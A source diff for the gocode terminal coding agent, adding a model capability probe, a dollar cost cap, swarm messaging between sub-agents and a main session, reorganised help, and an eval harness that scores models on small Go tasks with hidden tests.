warnFromCapabilityProbe(model string) { + report, ok := doctor.NewStore("").Get(model) + if !ok { + return + } + if supported, known := report.Supports(doctor.CheckToolCall); known && !supported { + fmt.Fprintf(os.Stderr, "warning: %s failed the tool-call probe on %s; the agent will not be able to read or edit files. Run `gocode doctor --model %s --refresh` to re-check.\n", + model, report.ProbedAt.Local().Format("2006-01-02"), model) + } + if supported, known := report.Supports(doctor.CheckSystemPrompt); known && !supported { + fmt.Fprintf(os.Stderr, "warning: %s ignored the system prompt when probed; tool instructions may not be followed.\n", model) + } +} // isTerminal checks if stdout is a terminal (not piped). func isTerminal() bool { @@ -198,9 +268,22 @@ func main() { } rootCmd := &cobra.Command{ - Use: "gocode", - Short: "gocode agent harness runtime (Go port)", + Use: "gocode", + Short: "An AI coding agent for your terminal that works with any model", + Long: `gocode is an AI coding agent for your terminal. One binary, any model: +Claude, GPT, Gemini, Grok, DeepSeek, Mistral, or anything running locally in +Ollama or LM Studio. + +Start in one command: + + gocode chat, using whatever is configured + gocode --model qwen2.5-coder:7b a local Ollama model, no API key needed + gocode prompt "explain this repo" one answer, then exit + +With no API key set and Ollama running, gocode uses your local model and says +so. With nothing set up at all, it prints three ways to get started.`, Version: version, + Args: cobra.NoArgs, } // 1. summary @@ -668,9 +751,10 @@ func main() { repl.SkipProjectConfig = true } + model = defaultToLocalModel(cmd, model) provider, resolvedModel, err := apiclient.ResolveProvider(model, apiKey) if err != nil { - return fmt.Errorf("resolving provider: %w", err) + return onboardOrError(cmd, model, err) } // After resolving the model, set model-aware max tokens if user didn't override @@ -709,9 +793,13 @@ func main() { cron.RegisterCronTool(toolImpl, cronScheduler, cronDataDir) defer cronScheduler.StopAll() - // Swarm: create manager and register send_agent_message tool + // Swarm: the interactive session is agent "main". Sub-agents spawned + // by the orchestrator join under their own names, can message main + // and each other, and background agents report back to main's inbox. swarmMgr := swarm.NewSwarmManager(10) - swarm.RegisterSwarmTool(toolImpl, swarmMgr, "main") + _ = swarmMgr.Register(swarm.MainAgent, nil, "main") + orch.WithSwarm(swarmMgr) + mainExec := swarm.WrapExecutor(executor, swarmMgr, swarm.MainAgent) // Phase 2: load skills on startup skillLoader := skills.NewSkillLoader("") @@ -720,7 +808,7 @@ func main() { log.Printf("[skills] %v", e) } - systemPrompt := repl.BuildSystemPrompt(executor.ListTools()) + systemPrompt := repl.BuildSystemPrompt(mainExec.ListTools()) // If --skill flag is provided, prepend the skill's system prompt if skillName != "" { @@ -781,9 +869,14 @@ func main() { } } + maxCost, _ := cmd.Flags().GetFloat64("max-cost") + warnIfUnbudgetable(resolvedModel, maxCost) + warnFromCapabilityProbe(resolvedModel) + rt := agent.NewConversationRuntime(agent.RuntimeOptions{ Provider: fp, - Executor: executor, + Executor: mainExec, + Inbox: swarmMgr.InboxFor(swarm.MainAgent), Model: resolvedModel, MaxTokens: maxTokens, MaxIterations: maxTurns, @@ -793,6 +886,7 @@ func main() { Trusted: trustedStore, ToolCb: toolCb, Hooks: hooksRunner, + MaxCostUSD: maxCost, }) // Phase 1: wrap runtime with SessionRecoveryManager @@ -843,6 +937,7 @@ func main() { chatCmd.Flags().String("goal", "", "Goal-based model selection: coding, latency, balanced") chatCmd.Flags().Int("max-turns", 30, "Maximum agent loop iterations") chatCmd.Flags().Int("max-tokens", 8192, "Maximum output tokens per request") + chatCmd.Flags().Float64("max-cost", 0, "Stop when the session's estimated cost reaches this many USD (0 = unlimited)") chatCmd.Flags().String("api-key", "", "API key (overrides env vars)") chatCmd.Flags().Bool("hashline", false, "Enable hashline mode for hash-anchored file I/O") chatCmd.Flags().String("skill", "", "Activate a skill by name (prepends skill system prompt)") @@ -924,8 +1019,15 @@ func main() { // --- doctor CLI command --- doctorCmd := &cobra.Command{ Use: "doctor", - Short: "Check environment and dependencies", - Run: func(cmd *cobra.Command, args []string) { + Short: "Check environment and dependencies; with --model, probe what a model can do", + Long: `Check environment and dependencies. + +With --model, also probe the model through gocode's provider layer: can it +stream, does it honour a system prompt, can it call a tool, and will it call +several tools in one turn. The probe makes four small requests (a few hundred +tokens) and caches the result in .gocode/capabilities.json, so it costs tokens +once per model. Pass --refresh to probe again.`, + RunE: func(cmd *cobra.Command, args []string) error { fmt.Println("Checking environment...") checks := []struct{ name, cmd string }{ {"git", "git --version"}, @@ -967,8 +1069,39 @@ func main() { if _, err := os.Stat(profiles.DefaultProfilePath()); err == nil { fmt.Printf(" ✓ Profile: %s found\n", profiles.DefaultProfilePath()) } + + model, _ := cmd.Flags().GetString("model") + if model == "" { + return nil + } + apiKey, _ := cmd.Flags().GetString("api-key") + refresh, _ := cmd.Flags().GetBool("refresh") + + fmt.Println() + provider, resolvedModel, err := apiclient.ResolveProvider(model, apiKey) + if err != nil { + return fmt.Errorf("resolving provider for %s: %w", model, err) + } + store := doctor.NewStore("") + if !refresh { + if cached, ok := store.Get(resolvedModel); ok { + fmt.Println(cached.Render()) + fmt.Printf("\n(cached in %s; pass --refresh to probe again)\n", store.Path()) + return nil + } + } + fmt.Printf("Probing %s with 4 small requests...\n", resolvedModel) + report := doctor.Prober{Provider: provider, Model: resolvedModel}.Run(context.Background()) + fmt.Println(report.Render()) + if err := store.Put(report); err != nil { + fmt.Printf("\n(could not cache result: %v)\n", err) + } + return nil }, } + doctorCmd.Flags().String("model", "", "Probe this model's capabilities (streaming, system prompt, tool calls, parallel tool calls)") + doctorCmd.Flags().String("api-key", "", "API key for the probe (overrides env vars)") + doctorCmd.Flags().Bool("refresh", false, "Ignore the cached probe result and probe again") rootCmd.AddCommand(doctorCmd) // --- smoke — quick runtime smoke test --- @@ -1067,9 +1200,10 @@ func main() { outputFormat, _ := cmd.Flags().GetString("output-format") outputSchema, _ := cmd.Flags().GetString("output-schema") + model = defaultToLocalModel(cmd, model) provider, resolvedModel, err := apiclient.ResolveProvider(model, apiKey) if err != nil { - return fmt.Errorf("resolving provider: %w", err) + return onboardOrError(cmd, model, err) } // After resolving the model, set model-aware max tokens if user didn't override @@ -1095,6 +1229,13 @@ func main() { toolImpl.Set("orchestrator_delegate", &orchestratorToolAdapter{orch: orch, toolName: "orchestrator_delegate"}) toolImpl.Set("orchestrator_delegate_bg", &orchestratorToolAdapter{orch: orch, toolName: "orchestrator_delegate_bg"}) + // Swarm, as in chat: one-shot runs can delegate too, and a background + // agent's report lands in main's inbox for the next turn. + swarmMgr := swarm.NewSwarmManager(10) + _ = swarmMgr.Register(swarm.MainAgent, nil, "main") + orch.WithSwarm(swarmMgr) + mainExec := swarm.WrapExecutor(executor, swarmMgr, swarm.MainAgent) + // Phase 2: load skills on startup skillLoader := skills.NewSkillLoader("") _, skillErrs := skillLoader.LoadAll() @@ -1102,7 +1243,7 @@ func main() { log.Printf("[skills] %v", e) } - systemPrompt := repl.BuildSystemPrompt(executor.ListTools()) + systemPrompt := repl.BuildSystemPrompt(mainExec.ListTools()) // If --skill flag is provided, prepend the skill's system prompt if skillName != "" { @@ -1122,15 +1263,21 @@ func main() { log.Printf("[verbose] model=%s maxTurns=%d maxTokens=%d", resolvedModel, maxTurns, maxTokens) } + maxCost, _ := cmd.Flags().GetFloat64("max-cost") + warnIfUnbudgetable(resolvedModel, maxCost) + warnFromCapabilityProbe(resolvedModel) + // Use FallbackProvider (which implements Provider) for the runtime rt := agent.NewConversationRuntime(agent.RuntimeOptions{ Provider: fp, - Executor: executor, + Executor: mainExec, + Inbox: swarmMgr.InboxFor(swarm.MainAgent), Model: resolvedModel, MaxTokens: maxTokens, MaxIterations: maxTurns, SystemPrompt: systemPrompt, PermMode: agent.DangerFullAccess, + MaxCostUSD: maxCost, }) // Phase 1: wrap runtime with SessionRecoveryManager @@ -1156,9 +1303,7 @@ func main() { } usage := rt.GetUsage() - inputCostPer1M := 3.0 - outputCostPer1M := 15.0 - totalCost := float64(usage.InputTokens)/1_000_000*inputCostPer1M + float64(usage.OutputTokens)/1_000_000*outputCostPer1M + totalCost, _ := usage.Cost() data, finalizeErr := writer.Finalize(resultText, structout.UsageSummary{ InputTokens: usage.InputTokens, @@ -1183,6 +1328,7 @@ func main() { promptCmd.Flags().String("model", "sonnet", "Model name or alias") promptCmd.Flags().Int("max-turns", 30, "Maximum agent loop iterations") promptCmd.Flags().Int("max-tokens", 8192, "Maximum output tokens per request") + promptCmd.Flags().Float64("max-cost", 0, "Stop when the run's estimated cost reaches this many USD (0 = unlimited)") promptCmd.Flags().String("api-key", "", "API key (overrides env vars)") promptCmd.Flags().Bool("no-stream", false, "Disable streaming output") promptCmd.Flags().Bool("hashline", false, "Enable hashline mode for hash-anchored file I/O") @@ -1549,7 +1695,77 @@ func main() { }) rootCmd.AddCommand(authCmd) + // Bare `gocode` in a terminal is the chat, the way every other agent CLI + // behaves. Piped or scripted, it prints help so nothing blocks on stdin. + rootCmd.RunE = func(cmd *cobra.Command, args []string) error { + if isTerminal() && stdinIsTerminal() { + return chatCmd.RunE(chatCmd, nil) + } + return cmd.Help() + } + // --model on the root is a convenience for `gocode --model X`; it is the + // chat command's flag, so define it there and mirror the value across. + rootCmd.Flags().String("model", "sonnet", "Model name or alias, same as 'gocode chat --model'") + rootCmd.PreRun = func(cmd *cobra.Command, args []string) { + if cmd.Flags().Changed("model") { + v, _ := cmd.Flags().GetString("model") + _ = chatCmd.Flags().Set("model", v) + } + } + + organizeHelp(rootCmd) + if err := rootCmd.Execute(); err != nil { os.Exit(1) } } + +// stdinIsTerminal reports whether stdin is an interactive terminal. +func stdinIsTerminal() bool { + fi, err := os.Stdin.Stat() + if err != nil { + return false + } + return fi.Mode()&os.ModeCharDevice != 0 +} + +// organizeHelp groups the commands a user reaches for and hides the ones +// that exist for the porting harness and integration tests. Hidden commands +// still run; they just stop crowding `gocode --help`. +func organizeHelp(root *cobra.Command) { + groups := []struct { + id, title string + commands []string + }{ + {"agent", "Agent:", []string{"chat", "prompt"}}, + {"integrations", "Servers and integrations:", []string{"mcp-serve", "serve", "bridge", "github", "pr", "plugin"}}, + {"session", "Sessions and settings:", []string{"profile", "config", "auth", "stats", "export", "import"}}, + {"diag", "Diagnostics:", []string{"doctor", "hardening", "smoke", "tools", "commands"}}, + } + groupOf := map[string]string{} + for _, g := range groups { + root.AddGroup(&cobra.Group{ID: g.id, Title: g.title}) + for _, name := range g.commands { + groupOf[name] = g.id + } + } + // Internal: porting manifests, registry dumps, connection-mode reports, + // and low-level session plumbing. Kept runnable for scripts and tests. + hidden := map[string]bool{ + "summary": true, "manifest": true, "parity-audit": true, "setup-report": true, + "command-graph": true, "tool-pool": true, "bootstrap-graph": true, "subsystems": true, + "route": true, "bootstrap": true, "turn-loop": true, + "flush-transcript": true, "load-session": true, + "remote-mode": true, "ssh-mode": true, "teleport-mode": true, "direct-connect": true, "deep-link": true, + } + for _, c := range root.Commands() { + if id, ok := groupOf[c.Name()]; ok { + c.GroupID = id + } + if hidden[c.Name()] { + c.Hidden = true + } + } + root.SetHelpCommandGroupID("diag") + root.SetCompletionCommandGroupID("diag") +} diff --git a/docs/advanced-features.md b/docs/advanced-features.md index 61e8b69..b7ed24e 100644 --- a/docs/advanced-features.md +++ b/docs/advanced-features.md @@ -259,7 +259,25 @@ WebSocket server for bidirectional communication between gocode and IDEs. Suppor ### Swarm Coordination -Agent-to-agent messaging and discovery for multi-agent workflows. Each agent gets a mailbox for inter-agent communication. The `SendMessageTool` lets agents coordinate on shared tasks. The orchestrator maintains a discovery registry with agent capabilities and status. +Every agent in a session is a named member of one swarm and can talk to the others. + +- The interactive session is the agent `main`. +- Each sub-agent the orchestrator spawns joins under its own instance name for the duration of its run: `deep-worker-1`, `planner-2`, and so on. Two parallel deep-workers never share a mailbox. +- Every member is offered two tools. `send_agent_message` delivers to a named agent; `list_agents` shows who is running, with status and category. A sub-agent's system prompt tells it its own name and that it should report to `main`. +- A message is read at the start of the recipient's next turn. It arrives as a user message after any pending tool results, so the model sees `[message from deep-worker-1]` followed by the content, and the tool_use/tool_result pairing the APIs require is never broken. +- When a background agent finishes, it posts a bounded report (the task and up to 4 KB of its output, or the error) to `main`'s inbox. The next turn in the session hears about it without polling `/tasks`; the full output is still on the result channel. + +What this is not: a shared context. Each agent has its own conversation and sees only what it is told or messaged. That is deliberate; it is what keeps five agents from costing five times a full context on every turn. + +### Token Efficiency + +The per-turn bill is decided by three things, and each is handled: + +- **The fixed prefix.** The system prompt is about 1,700 tokens plus twelve tool schemas. On Anthropic it carries a prompt-cache breakpoint, and so does the newest message, so every turn after the first reads the prefix and the earlier conversation at a tenth of the input price. Breakpoints go on request copies, never on the stored session, so there is always exactly one on the messages. `GOCODE_DISABLE_PROMPT_CACHE=1` turns the markers off for an Anthropic-compatible endpoint that rejects them. +- **Tool output.** Every tool result is capped at 40 KB. The head and tail are kept, the middle is replaced by a marker that says how many bytes and lines were dropped and, per tool, how to ask for the part you need (`start_line`/`end_line`, a narrower grep, `head`/`tail`). `FileReadTool` without an `end_line` returns 2000 lines and names the line to continue from. +- **Compaction.** The REPL summarises and resets the session at 85% of the model's context window. The estimate now includes tool results, which are most of the tokens in a coding session. + +`/cost` shows the outcome per model, cache reads included; `--max-cost` caps a session in dollars. ### PDF Handling diff --git a/docs/cli-reference.md b/docs/cli-reference.md index 125b14e..d8defa0 100644 --- a/docs/cli-reference.md +++ b/docs/cli-reference.md @@ -2,7 +2,33 @@ [← Back to README](../README.md) -All 23 gocode commands. +--- + +## `gocode` with no arguments + +In a terminal, `gocode` starts the interactive chat, exactly like `gocode chat`. +`gocode --model X` is shorthand for `gocode chat --model X`. When stdin or +stdout is not a terminal (a pipe, a script, CI) it prints help and exits 0, so +nothing ever blocks waiting for input. + +What it does with no configuration: + +| You have | What happens | +|---|---| +| A provider key exported (`ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, `OPENROUTER_API_KEY`, ...) | Uses it, default model `sonnet` | +| No key, but Ollama or LM Studio running with models installed | Picks a coding model from it, prints which one on stderr, starts | +| No key, no local server | Prints three ways to get started (local and free, one OpenRouter key, your own key) and exits 1 | + +Local models need no configuration: any id with an Ollama-style tag +(`qwen2.5-coder:7b`, `llama3.3:70b`, or the `llama` alias) is routed to Ollama +at `localhost:11434`, or LM Studio at `localhost:1234`, whichever answers. +Set `OLLAMA_HOST` for a non-default address; `OPENAI_BASE_URL` still overrides +everything when set. + +`gocode --help` groups commands into Agent, Servers and integrations, Sessions +and settings, and Diagnostics. The porting-harness commands (`manifest`, +`parity-audit`, `bootstrap-graph`, `teleport-mode`, ...) are hidden from help +but still run. --- @@ -20,6 +46,7 @@ Flags: --model string Model name or alias (default "sonnet") --max-turns int Max agent loop iterations (default 30) --max-tokens int Max output tokens per request (default 8192) + --max-cost float Stop when the session's estimated cost reaches this many USD (0 = unlimited) --api-key string API key override --resume string Resume a saved session by ID --output-style string Output style: concise, verbose, markdown, minimal (default "markdown") @@ -27,6 +54,17 @@ Flags: --bridge Start WebSocket bridge server alongside REPL ``` +`--max-cost` is computed from the per-model price table, the same one `/cost` +uses. If the model has no price entry the flag cannot be enforced and gocode +says so at startup. When the limit is hit the loop stops before running any +pending tool calls and the session stays valid; raise the limit or start a new +session to continue. + +The agent loop also stops on its own when the model repeats the same tool +calls with the same results five iterations in a row (it is warned in the +tool result after three). This catches weak models that would otherwise spend +every turn re-reading the same file. + ### `gocode prompt` ``` @@ -34,10 +72,14 @@ Flags: --model string Model name or alias (default "sonnet") --max-turns int Max agent loop iterations (default 30) --max-tokens int Max output tokens per request (default 8192) + --max-cost float Stop when the run's estimated cost reaches this many USD (0 = unlimited) --api-key string API key override --no-stream Wait for full response before printing ``` +`--max-cost` is the flag to set in CI and in the GitHub Action: a model that +loops or a prompt that balloons is capped in dollars rather than turns. + --- ## MCP Server @@ -120,8 +162,37 @@ Establishes a bidirectional WebSocket connection between gocode and IDEs (VS Cod | Command | Description | |---------|-------------| +| `doctor` | Check environment and dependencies; with `--model`, probe what a model can do | | `parity-audit` | Run parity audit | +### `gocode doctor` + +``` +Flags: + --model string Probe this model's capabilities (streaming, system prompt, tool calls, parallel tool calls) + --api-key string API key for the probe (overrides env vars) + --refresh Ignore the cached probe result and probe again +``` + +Without flags, `doctor` reports on git, go, tmux, ast-grep, which provider +keys are set, and whether a profile and Codex credentials exist. + +With `--model`, it also makes four small requests through the same provider +layer `chat` uses and reports: + +``` +Model: gpt-4o-2024-08-06 probed 2026-09-10 12:41 probe cost: 812 in / 61 out tokens + ✓ streaming first token in 380ms + ✓ system prompt honoured + ✓ tool call arguments {"city":"Paris"} + ✗ parallel tool calls 1 call in one turn: this model serialises tool use, expect more round trips +``` + +The result is cached per model in `.gocode/capabilities.json`, so the probe +spends tokens once. `chat` and `prompt` read that cache at startup and warn +when the model failed the tool-call probe or ignored the system prompt, which +turns "it didn't edit anything" into a known cause before the first request. + --- ## Slash Commands (Wave 2) diff --git a/evals/README.md b/evals/README.md new file mode 100644 index 0000000..469546b --- /dev/null +++ b/evals/README.md @@ -0,0 +1,91 @@ +# Evals + +Scores gocode on a fixed set of small coding tasks, one model at a time, and +prints a pass-rate table. It answers the question the README's feature list +cannot: with *this* model, does the agent actually finish the job? + +``` +gocode v0.9.0 — 15 tasks +task claude-sonnet-4-6 deepseek-chat +01-off-by-one ✓ 18s $0.021 ✓ 41s $0.002 +02-unicode-reverse ✓ 22s $0.030 ✗ 96s $0.004 +... +pass rate 14/15 (93%) 9/15 (60%) +tokens 412k in / 31k out 690k in / 44k out +est. cost $1.70 $0.11 +``` + +## Running it + +This spends tokens. Each task is one `gocode prompt` run of up to 40 agent +turns against a tiny Go module; expect a few hundred thousand input tokens per +model across the suite, so on the order of $0.10 to $3 per model at list price. +It is not part of `go test ./...` or CI for that reason. + +```bash +# from the repo root, with the model's API key exported +go run ./evals/runner -model sonnet +go run ./evals/runner -model sonnet -model deepseek -parallel 4 +go run ./evals/runner -model gpt-4o -only 03-rename-across-files,06-counter-race -keep +``` + +Flags: + +| flag | default | meaning | +|---|---|---| +| `-model` | required, repeatable | alias or id, resolved the same way `gocode chat --model` does | +| `-parallel` | 1 | tasks run at once per model | +| `-only` | all | comma-separated task ids | +| `-max-turns` | 40 | agent loop cap per task | +| `-gocode` | builds `./cmd/gocode` | use a specific binary, e.g. a released version | +| `-keep` | off | keep each scratch directory and print its path | +| `-out` | `evals/results` | where to write the JSON run file | + +Each run writes `evals/results/_.json` with per-task +results, token counts, cost, and the tail of `go test` output for failures. +That directory is gitignored; commit a results file deliberately if you want +a number in the repo. + +## How a task is scored + +1. `tasks//fixture/` is copied to a scratch directory. +2. `gocode prompt --output-format json` runs there with the task's prompt and + full tool access, exactly as a user's one-shot invocation would. +3. Every `*_test.go` from the fixture is copied back over the scratch copy, so + an agent that edits or deletes a visible test gains nothing. +4. `tasks//_hidden/` is copied in. These tests were never visible to the + agent, so they cannot be special-cased. +5. `go test ./... -count=1` (plus any `test_args` from `task.json`) decides + pass or fail. A compile error is a fail. + +An agent crash or timeout is recorded separately from a test failure and is +marked `!` in the table, so a low score from a broken provider is not mistaken +for a weak model. + +## Adding a task + +``` +tasks/16-my-task/ + task.json {"prompt": "...", "timeout_seconds": 300, "test_args": ["-race"]} + fixture/ a Go module with the bug or gap; may include visible tests + _hidden/ tests the agent never sees; copied in before scoring + _solution/ a reference fix; files overwrite the fixture +``` + +`go test ./evals/runner` then checks the task for you: the reference solution +must pass, the untouched fixture must fail, and both `_hidden/` and +`_solution/` must exist. A task that passes untouched is not measuring +anything, and the suite refuses it. That self-test compiles every fixture and +spends no tokens; it takes about 15 seconds and is skipped under `-short`. + +Keep prompts precise enough that a correct implementation is unambiguous, +because the hidden tests will hold the agent to exactly that. Prefer bugs and +gaps a working engineer would recognise over puzzles. + +## What this is not + +Fifteen tasks is a smoke test, not a benchmark. It will tell you that a model +cannot follow a rename across three files, or drops the system prompt, or +never calls a tool. It will not rank two frontier models against each other +with any confidence. Add tasks that reflect the work you actually do before +trusting a difference of one or two. diff --git a/evals/runner/harness.go b/evals/runner/harness.go new file mode 100644 index 0000000..8cc3bf8 --- /dev/null +++ b/evals/runner/harness.go @@ -0,0 +1,461 @@ +// The eval runner scores gocode against a fixed set of small coding tasks, +// one model at a time, and prints a pass-rate table. Each task is a tiny Go +// module with a bug or a gap; the agent works in a scratch copy and is scored +// by the module's own tests, including hidden ones it never saw. +package main + +import ( + "bytes" + "context" + "encoding/json" + "errors" + "fmt" + "io" + "io/fs" + "os" + "os/exec" + "path/filepath" + "sort" + "strings" + "time" + + "github.com/AlleyBo55/gocode/internal/apiclient" +) + +// Task is one directory under evals/tasks. +type Task struct { + ID string + Dir string // evals/tasks/ + Prompt string `json:"prompt"` + Timeout int `json:"timeout_seconds,omitempty"` // for the agent; default 300 + TestArgs []string `json:"test_args,omitempty"` // extra args for go test, e.g. ["-race"] +} + +// Result is one task scored against one model. +type Result struct { + Task string `json:"task"` + Model string `json:"model"` + Passed bool `json:"passed"` + Duration float64 `json:"duration_seconds"` + InputTokens int `json:"input_tokens"` + OutputTokens int `json:"output_tokens"` + CostUSD float64 `json:"cost_usd"` + Error string `json:"error,omitempty"` // harness or agent failure, not a test failure + TestOutput string `json:"test_output,omitempty"` // tail of go test output when it failed +} + +// Usage is what an agent run reports back about its spend. +type Usage struct { + InputTokens int + OutputTokens int +} + +// Agent performs a task in workdir. The real one shells out to gocode; the +// harness tests substitute agents that apply the reference solution, do +// nothing, or cheat. +type Agent interface { + Run(ctx context.Context, workdir, prompt string) (Usage, error) +} + +// LoadTasks reads every task directory under root, sorted by id. +func LoadTasks(root string) ([]Task, error) { + entries, err := os.ReadDir(root) + if err != nil { + return nil, err + } + var tasks []Task + for _, e := range entries { + if !e.IsDir() || strings.HasPrefix(e.Name(), "_") || strings.HasPrefix(e.Name(), ".") { + continue + } + dir := filepath.Join(root, e.Name()) + data, err := os.ReadFile(filepath.Join(dir, "task.json")) + if err != nil { + return nil, fmt.Errorf("task %s: %w", e.Name(), err) + } + t := Task{ID: e.Name(), Dir: dir} + if err := json.Unmarshal(data, &t); err != nil { + return nil, fmt.Errorf("task %s: task.json: %w", e.Name(), err) + } + if strings.TrimSpace(t.Prompt) == "" { + return nil, fmt.Errorf("task %s: task.json has no prompt", e.Name()) + } + if _, err := os.Stat(filepath.Join(dir, "fixture", "go.mod")); err != nil { + return nil, fmt.Errorf("task %s: fixture must be a Go module (fixture/go.mod): %w", e.Name(), err) + } + if t.Timeout <= 0 { + t.Timeout = 300 + } + tasks = append(tasks, t) + } + sort.Slice(tasks, func(i, j int) bool { return tasks[i].ID < tasks[j].ID }) + return tasks, nil +} + +// RunTask copies the fixture to a scratch directory, lets the agent work in +// it, restores the visible tests, adds the hidden ones, and runs go test. +// The scratch directory is removed unless keep is set. +func RunTask(ctx context.Context, t Task, model string, agent Agent, keep bool) Result { + res := Result{Task: t.ID, Model: model} + start := time.Now() + defer func() { res.Duration = time.Since(start).Seconds() }() + + workdir, err := os.MkdirTemp("", "gocode-eval-"+t.ID+"-") + if err != nil { + res.Error = "mkdtemp: " + err.Error() + return res + } + if !keep { + defer os.RemoveAll(workdir) + } else { + fmt.Fprintf(os.Stderr, "[%s] workdir kept at %s\n", t.ID, workdir) + } + + fixture := filepath.Join(t.Dir, "fixture") + if err := copyTree(fixture, workdir, nil); err != nil { + res.Error = "copy fixture: " + err.Error() + return res + } + + agentCtx, cancel := context.WithTimeout(ctx, time.Duration(t.Timeout)*time.Second) + usage, agentErr := agent.Run(agentCtx, workdir, t.Prompt) + cancel() + res.InputTokens, res.OutputTokens = usage.InputTokens, usage.OutputTokens + if price, ok := apiclient.PriceForModel(model); ok { + res.CostUSD = (float64(usage.InputTokens)*price.Input + float64(usage.OutputTokens)*price.Output) / 1_000_000 + } + if agentErr != nil { + // Still score: a partial edit that happens to pass is a pass, and a + // timeout with no edits is a fail either way. Record the error so + // the table can say why. + res.Error = agentErr.Error() + } + + // The agent may have edited or deleted tests. Put the originals back, + // then add the ones it never saw. + if err := copyTree(fixture, workdir, func(p string) bool { return strings.HasSuffix(p, "_test.go") }); err != nil { + res.Error = joinErr(res.Error, "restore tests: "+err.Error()) + return res + } + if hidden := filepath.Join(t.Dir, "_hidden"); dirExists(hidden) { + if err := copyTree(hidden, workdir, nil); err != nil { + res.Error = joinErr(res.Error, "copy hidden tests: "+err.Error()) + return res + } + } + + passed, out, err := goTest(ctx, workdir, t.TestArgs) + if err != nil { + res.Error = joinErr(res.Error, "go test: "+err.Error()) + } + res.Passed = passed + if !passed { + res.TestOutput = tail(out, 40) + } + return res +} + +// goTest runs the module's tests with a clean cache and no workspace, so a +// go.work in a parent directory cannot pull the scratch module into it. +func goTest(ctx context.Context, dir string, extra []string) (bool, string, error) { + tctx, cancel := context.WithTimeout(ctx, 3*time.Minute) + defer cancel() + args := append([]string{"test", "./...", "-count=1"}, extra...) + cmd := exec.CommandContext(tctx, "go", args...) + cmd.Dir = dir + cmd.Env = append(os.Environ(), "GOWORK=off", "GOFLAGS=") + var out bytes.Buffer + cmd.Stdout, cmd.Stderr = &out, &out + err := cmd.Run() + if err == nil { + return true, out.String(), nil + } + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { + return false, out.String(), nil // tests or compile failed: a score, not a harness error + } + return false, out.String(), err +} + +// GocodeAgent runs the real binary in one-shot prompt mode. +type GocodeAgent struct { + Binary string + MaxTurns int +} + +func (g GocodeAgent) Run(ctx context.Context, workdir, prompt string) (Usage, error) { + maxTurns := g.MaxTurns + if maxTurns <= 0 { + maxTurns = 40 + } + cmd := exec.CommandContext(ctx, g.Binary, "prompt", + "--model", modelFromContext(ctx), + "--max-turns", fmt.Sprint(maxTurns), + "--no-stream", + "--output-format", "json", + prompt, + ) + cmd.Dir = workdir + var stdout, stderr bytes.Buffer + cmd.Stdout, cmd.Stderr = &stdout, &stderr + runErr := cmd.Run() + + usage, parseErr := parseUsage(stdout.Bytes()) + if runErr != nil { + if ctx.Err() != nil { + return usage, fmt.Errorf("agent timed out") + } + return usage, fmt.Errorf("gocode exited: %v: %s", runErr, tail(stderr.String(), 5)) + } + if parseErr != nil { + return usage, fmt.Errorf("could not read usage from gocode output: %v", parseErr) + } + return usage, nil +} + +type modelKey struct{} + +// withModel threads the model name to the agent without widening the Agent +// interface for the fake agents that do not need it. +func withModel(ctx context.Context, model string) context.Context { + return context.WithValue(ctx, modelKey{}, model) +} + +func modelFromContext(ctx context.Context) string { + if m, ok := ctx.Value(modelKey{}).(string); ok { + return m + } + return "" +} + +// parseUsage finds the structured-output envelope in gocode's stdout. Log +// lines may precede it, so scan for the last top-level JSON object. +func parseUsage(stdout []byte) (Usage, error) { + idx := bytes.LastIndex(stdout, []byte("\n{")) + switch { + case idx >= 0: + stdout = stdout[idx+1:] + case bytes.HasPrefix(bytes.TrimSpace(stdout), []byte("{")): + stdout = bytes.TrimSpace(stdout) + default: + return Usage{}, errors.New("no JSON object in output") + } + var env struct { + Usage struct { + InputTokens int `json:"input_tokens"` + OutputTokens int `json:"output_tokens"` + } `json:"usage"` + } + if err := json.Unmarshal(stdout, &env); err != nil { + return Usage{}, err + } + return Usage{InputTokens: env.Usage.InputTokens, OutputTokens: env.Usage.OutputTokens}, nil +} + +// copyTree copies src into dst, creating directories as needed and +// overwriting files. When only is set, just the files it accepts are copied. +func copyTree(src, dst string, only func(rel string) bool) error { + return filepath.WalkDir(src, func(path string, d fs.DirEntry, err error) error { + if err != nil { + return err + } + rel, err := filepath.Rel(src, path) + if err != nil { + return err + } + target := filepath.Join(dst, rel) + if d.IsDir() { + return os.MkdirAll(target, 0o755) + } + if only != nil && !only(rel) { + return nil + } + return copyFile(path, target) + }) +} + +func copyFile(src, dst string) error { + in, err := os.Open(src) + if err != nil { + return err + } + defer in.Close() + if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil { + return err + } + out, err := os.OpenFile(dst, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o644) + if err != nil { + return err + } + if _, err := io.Copy(out, in); err != nil { + out.Close() + return err + } + return out.Close() +} + +func dirExists(p string) bool { + info, err := os.Stat(p) + return err == nil && info.IsDir() +} + +func joinErr(a, b string) string { + if a == "" { + return b + } + return a + "; " + b +} + +func tail(s string, lines int) string { + parts := strings.Split(strings.TrimRight(s, "\n"), "\n") + if len(parts) > lines { + parts = parts[len(parts)-lines:] + } + return strings.Join(parts, "\n") +} + +// Summary is one model's aggregate over a run. +type Summary struct { + Model string + Passed int + Total int + InputTokens int + OutputTokens int + CostUSD float64 + Unpriced bool +} + +func Summarize(model string, results []Result) Summary { + s := Summary{Model: model, Total: len(results)} + _, priced := apiclient.PriceForModel(model) + s.Unpriced = !priced + for _, r := range results { + if r.Passed { + s.Passed++ + } + s.InputTokens += r.InputTokens + s.OutputTokens += r.OutputTokens + s.CostUSD += r.CostUSD + } + return s +} + +// RenderTable prints tasks down, models across, with a per-model summary. +func RenderTable(version string, tasks []Task, byModel map[string][]Result) string { + models := make([]string, 0, len(byModel)) + for m := range byModel { + models = append(models, m) + } + sort.Strings(models) + + cell := func(r *Result) string { + if r == nil { + return "-" + } + mark := "✗" + if r.Passed { + mark = "✓" + } + s := fmt.Sprintf("%s %4.0fs", mark, r.Duration) + if r.CostUSD > 0 { + s += fmt.Sprintf(" $%.3f", r.CostUSD) + } + if r.Error != "" { + s += " !" + } + return s + } + lookup := func(model, task string) *Result { + for i := range byModel[model] { + if byModel[model][i].Task == task { + return &byModel[model][i] + } + } + return nil + } + + taskWidth := len("est. cost") + for _, t := range tasks { + taskWidth = max(taskWidth, len(t.ID)) + } + colWidth := 18 + for _, m := range models { + colWidth = max(colWidth, len(m)+2) + } + + var b strings.Builder + fmt.Fprintf(&b, "gocode %s — %d tasks\n", version, len(tasks)) + fmt.Fprintf(&b, "%-*s", taskWidth, "task") + for _, m := range models { + 